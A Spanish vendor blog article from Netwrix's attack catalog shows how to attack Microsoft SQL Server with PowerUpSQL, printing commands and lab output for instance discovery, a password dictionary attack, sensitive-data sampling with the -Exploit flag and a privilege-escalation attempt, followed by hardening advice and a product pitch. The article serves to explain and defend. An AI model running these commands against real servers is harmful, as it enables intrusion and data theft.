Magic Quadrant™ para la gestión de acceso privilegiado 2025: Netwrix reconocida por cuarto año consecutivo. Descarga el informe.

Plataforma
Glosario de ciberseguridadCatálogo de ataques
Comprometiendo SQL Server con PowerUpSQL

Comprometiendo SQL Server con PowerUpSQL

Si buscas un conjunto de herramientas para controlar Microsoft SQL Server de principio a fin, lo que necesitas es PowerUpSQL. Implementado en PowerShell y tan completo como se puede, PowerUpSQL tiene herramientas para descubrir, comprometer y dominar prácticamente cualquier sistema SQL. Es toda la cadena de ataque en una sola herramienta. Este artículo detalla cómo realizar los pasos críticos del ataque utilizando PowerUpSQL.

Contenido relacionado seleccionado:

Tenga en cuenta que tuvimos resultados muy variados con el sistema que estábamos utilizando, una versión muy básica de MS SQL 2012. Nos aseguraremos de destacar dónde variaron nuestros resultados con y sin derechos de administrador del sistema. Si necesita consejos sobre cómo obtener derechos de administrador a nivel de sistema, consulte nuestro catálogo de técnicas para atacar la infraestructura central de AD y nuestras publicaciones sobre ataques a cuentas de servicio de ADataques que explotan permisos mal configurados y nuestra serie sobre ataques con Mimikatz.

Descubrimiento

      To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose

VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...

VERBOSE: Parsing SQL Server instances from SPNs...

VERBOSE: 2 instances were found.

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com,1433

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com:1433

LastLogon : 1/9/2018 7:10 AM

Description :

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com

LastLogon : 1/9/2018 7:10 AM
      

Descripción :

También está Get-SQLInstanceLocal, que realizará el mismo tipo de descubrimiento pero solo en la instancia local. La versión de dominio es más ruidosa, pero si solo tienes un lugar desde el cual atacar en la red, hará lo que necesitas. Si posees mucho más de la red y quieres emitir menos señales, ejecutar la versión local en cada sistema funcionará. En este caso, pudimos obtener resultados similares cuando éramos un usuario normal o un Administrador de Dominio.

Selección de objetivo

Una vez que tengas algunos sistemas MS SQL que quieras atacar — o si tienes muchos y estás intentando determinar cuáles son los mejores objetivos — es posible que quieras obtener más información sobre cada uno de ellos. Get?SQLServerInfo te proporcionará una instantánea de información útil sobre tu objetivo potencial. Ten en cuenta que parecía que necesitábamos derechos de administrador para obtener buenos resultados.

      PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName : APP02

Instance : APP02

DomainName : SBCLOUDLAB

ServiceProcessID : 4980

ServiceName : MSSQLSERVER

ServiceAccount : NT ServiceMSSQLSERVER

AuthenticationMode : Windows and SQL Server Authentication

Clustered : No

SQLServerVersionNumber : 11.0.2100.60

SQLServerMajorVersion : 2012

SQLServerEdition : Standard Edition (64-bit)

SQLServerServicePack : RTM

OSArchitecture : X64

OsMachineType : ServerNT

OSVersionName : Windows Server 2012 R2 Standard

OsVersionNumber : 6.2

Currentlogin : SBCLOUDLABjonathan

IsSysadmin : Yes

ActiveSessions : 1
      

Este ejemplo muestra una de las mejores características de PowerUpSQL: soporte para el piping. Como puedes ver, canalizamos los resultados de Get-SQLInstanceLocal en Get-SQLServerInfo, así que con un solo comando, podemos obtener resultados para todas las instancias SQL en la caja. De manera más amplia, puedes utilizar esta característica para construir fácilmente scripts de cracking que ejecuten operaciones complicadas rápidamente.

Encontrar exploits y datos sensibles

Utilizando lo que aprendemos de Get-SQLServerInfo, podríamos ir a las bibliotecas estándar de amenazas y vulnerabilidades y tomar algo para explotar este sistema. Pero no hay necesidad — PowerUpSQL tiene otro truco poderoso bajo la manga. El Invoke-SQLAudit cmdlet literalmente hará todo el trabajo de infiltración por ti. Verifica prácticamente todas las formas estándar de irrumpir en una base de datos, encontrar información sensible y exfiltrarla en un formato que puedas llevar contigo.

Cuando lo invoques, primero verás una avalancha de resultados como este:

      PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: LOADING VULNERABILITY CHECKS.

VERBOSE: RUNNING VULNERABILITY CHECKS.

VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : No named instance found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com - Getting supplied login...

VERBOSE: APP02.sbcloudlab.com - Getting list of logins...

VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =

##MS_PolicyEventProcessingLogin##

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =

##MS_PolicyTsqlExecutionLogin##

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...

<snip>
      

Pero eso es solo el comienzo de Invoke-SQLAudit. Después de realizar todas las comprobaciones de nivel de permiso, verifica una por una vulnerabilidades específicas y conocidas e informa sobre lo que encuentra para cada una:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database master was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database tempdb was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Leer los resultados de este cmdlet, sin importar cuán vulnerable haya sido su objetivo, es como una clase magistral en exploits de SQL Server. Además, los autores han dejado el conjunto de herramientas abierto para extensión a medida que se encuentran nuevas vulnerabilidades y exploits. Por lo tanto, deberíamos esperar ver esta lista crecer con el tiempo.

Y eso no es todo. Una vez que termina con las vulnerabilidades, intenta encontrar datos que quizás quieras robar:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Estos resultados (ligeramente redactados por razones obvias) fueron solo dos de las muchas docenas encontradas en nuestro objetivo. Los autores incluso están comiendo su propia comida para perros mientras hacen esto. Estos resultados se encontraron utilizando el cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, como se indica en los resultados.

Escalada de Privilegios

Una de las decepciones al jugar con PowerUpSQL fue que el muy poderoso Invoke-SQLEscalatePriv nunca funcionó para nosotros. Intentamos con diferentes usuarios, hosts, tipos de ejecución (local y remota) y clases de derechos, pero nunca logró escalar el usuario. La razón parece ser los valores predeterminados en MS SQL 2012 Enterprise Edition. Esto es lo que vimos al ejecutar como un usuario no administrador:

      PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s

bcloudlab.com"

PS C:PowerUpSQL-master>

When we run as admin, we get these correct but unexciting results:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...

VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)

PS C:PowerUpSQL-master>
      

Leyendo en línea, este cmdlet parece que sí funciona para muchos otros.

Otras Funcionalidades

Uno puede imaginar fácilmente el uso de esta herramienta para tener una idea de qué atacar y luego enfocarse. Construiríamos un script, aprovechando al máximo el encadenamiento para encontrar dónde tenemos máximos derechos, y luego avanzar sobre los datos sensibles en cada uno de esos lugares.

Siempre pensamos en términos de exfiltración, pero ¿tal vez tu objetivo es la propiedad del sistema? PowerUpSQL también ofrece caminos hacia eso, pero veremos cómo hacerlo en la próxima publicación. De hecho, hay tanto en PowerUpSQL que podríamos seguir hablando mucho más tiempo. Sin embargo, los autores ya han hecho un buen trabajo cubriendo su herramienta por lo que nos detendremos aquí.

Defenderse contra PowerUpSQL

Ahora veamos qué puedes hacer para defenderte contra PowerUpSQL. La mala noticia para nuestra diversión fue una buena noticia para nuestros datos: Muchas de las cosas que parecían necesitar derechos de administrador en PowerUpSQL son manejadas por la postura de seguridad predeterminada de SQL 2012 Enterprise Edition. Sin embargo, los derechos de administrador son tan fáciles de vulnerar en la mayoría de las empresas hoy en día que esto parece una pequeña barrera para el éxito.

Sin embargo, hay algunos pasos comprobados que puede seguir para ayudar a proteger su organización:

  • Aplique un modelo de privilegios mínimos para SQL Server. ¿Realmente necesitan los administradores locales y de dominio ser también administradores de base de datos SQL y sysadmins? Desarrolle una política escrita clara que detalle por qué y cuándo esto es necesario. Mantener estas funciones administrativas distintas evitará que un compromiso de una lleve al compromiso de la otra.
  • Investigue el impacto en la seguridad de cualquier cambio en la configuración del sistema SQL. Los proveedores de aplicaciones a menudo exigen cambios en la configuración de seguridad solo para ahorrarse algunos pasos, y esos pasos pueden marcar la diferencia entre la seguridad y el compromiso. Una forma de averiguarlo es ejecutar un PowerUpSQL audit antes y después de realizar dichos cambios en sus sistemas de prueba y comparar los resultados.
  • Asegúrese de que todas las contraseñas y datos sensibles estén enmascarados, hasheados o encriptados. Si los malos están tras los datos, esta es su mejor manera de impedir que los obtengan. Los sistemas siempre serán vulnerables, pero una encriptación decente es un muro de ladrillos para todos excepto para el enemigo más sofisticado. Si ese tipo de adversario está tras sus datos, entonces tiene preocupaciones de un orden superior.
  • Siempre que sea posible, evite configuraciones riesgosas como la cadena de propiedad de bases de datos. Al igual que con los cambios en la configuración, características a nivel de base de datos como esta a menudo se utilizan solo para ahorrar tiempo a los desarrolladores. Asegúrese de que al menos se considere los riesgos cuando se estén contemplando estas configuraciones. A menudo, la parte más desafiante es descubrir dónde y cuándo están sucediendo esas conversaciones e influir en ellas.
  • Asegúrese de que sus sistemas estén actualizados siguiendo un calendario que los mantenga lo más actualizados posible. Este puede ser el consejo más repetido en seguridad, pero es cierto. Muchas de las vulnerabilidades probadas aquí se habrían solucionado con un parcheo adecuado. Los parches no resuelven todos los problemas de seguridad, pero sí previenen ese gran vacío en el estómago cuando las cosas van mal y sabes que pudo haber sido (o definitivamente fue) debido a un parche faltante.

Cómo Netwrix puede ayudar

Las bases de datos a menudo contienen información altamente sensible, lo que las convierte en un objetivo principal para los atacantes. Para una seguridad robusta, los administradores de bases de datos necesitan visibilidad de su huella SQL completa, tanto en centros de datos locales como en la nube. Netwrix StealthAUDIT revela automáticamente dónde existen las bases de datos SQL, quién tiene acceso a ellas, cómo obtuvieron ese acceso, quién o qué está aprovechando sus privilegios de acceso, dónde reside la información sensible y cómo se ha configurado cada base de datos.

Compartir en

Ver ataques de ciberseguridad relacionados

Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa

Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa

Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa

Ataque Hafnium - Cómo funciona y estrategias de defensa

Ataques DCSync explicados: Amenaza a la seguridad de Active Directory

Ataque de Pass the Hash

Entendiendo los ataques de Golden Ticket

Ataque de Cuentas de Servicio Administradas por Grupo

Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa

ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención

Ataque de extracción de contraseñas de NTDS.dit

Ataque de Kerberoasting – Cómo funciona y estrategias de defensa

Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa

Ataque de Password Spraying

Ataque de extracción de contraseñas en texto plano

Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación

Ataques de ransomware a Active Directory

Desbloqueando Active Directory con el ataque Skeleton Key

Movimiento lateral: Qué es, cómo funciona y prevenciones

Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos

Ataque de Silver Ticket

4 ataques a cuentas de servicio y cómo protegerse contra ellos

¿Por qué es PowerShell tan popular entre los atacantes?

Cómo prevenir que los ataques de malware afecten a su negocio

¿Qué es Credential Stuffing?

¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?

Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)

Eludir MFA con el ataque Pass-the-Cookie

Ataque Golden SAML